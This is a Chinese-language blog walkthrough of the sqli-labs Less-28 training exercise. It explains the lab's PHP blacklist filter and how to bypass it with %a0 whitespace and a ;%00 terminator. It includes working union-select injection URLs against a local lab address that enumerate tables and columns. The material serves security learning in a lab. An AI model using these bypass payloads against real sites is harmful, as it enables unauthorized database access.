接着好久之前的sql注入学习
Less-28源代码如下:
function blacklist($id) { $id= preg_replace('/[/*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out --. $id= preg_replace('/[#]/',"", $id); //Strip out #. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. //$id= preg_replace('/select/m',"", $id); //Strip out spaces. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/unions+select/i',"", $id); //Strip out UNION & SELECT. return $id; }
解法:
参考了https://www.cnblogs.com/zhengna/p/12655523.html
正则表达式'/unions+select/i'中,s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小写
就是说只看最后一项,正则匹配会过滤 union加空格加select,只有这个表达式(不区分大小写)满足的时候才会进行过滤,但是双写空格会被之前的空格匹配过滤。
如果空格替换成其他等价的字符,如/**/(被过滤)、tap空格、%0a(换行符,sql查询特性)、%a0就能绕过匹配
但是没有报错回显无法使用报错判断,只能尝试爆出信息:
尝试(以下语句需要在后面添加%0a1=1;%00),由于注释符被过滤,因此使用;%00替代
引入新的语句
之后尝试出现回显
之后进入正常步骤,先order by,到4的时候不回显,说明字段结构是3的长度
继续查数据库,突然没有回显,回去看看,发现参考博客写的并不严谨
s表示匹配一个空格,但也能匹配包括tab键等空白符,因此%0a换行符也被匹配了,至此我们只能使用%a0来绕过
查询表
http://192.168.147.133/Less-28/?id=0%27)union%a0select%a01,table_name,3%a0from%a0information_schema.tables;%00
查列
http://192.168.147.133/Less-28/?id=0%27)union%a0select%a01,column_name,3%a0from%a0information_schema.columns%a0where%a0table_name=%27CHARACTER_SETS%27;%00
最后去查值,select列名from表名,如果无回显,可以去参考其他资料,又或者是sqli-labs配置错误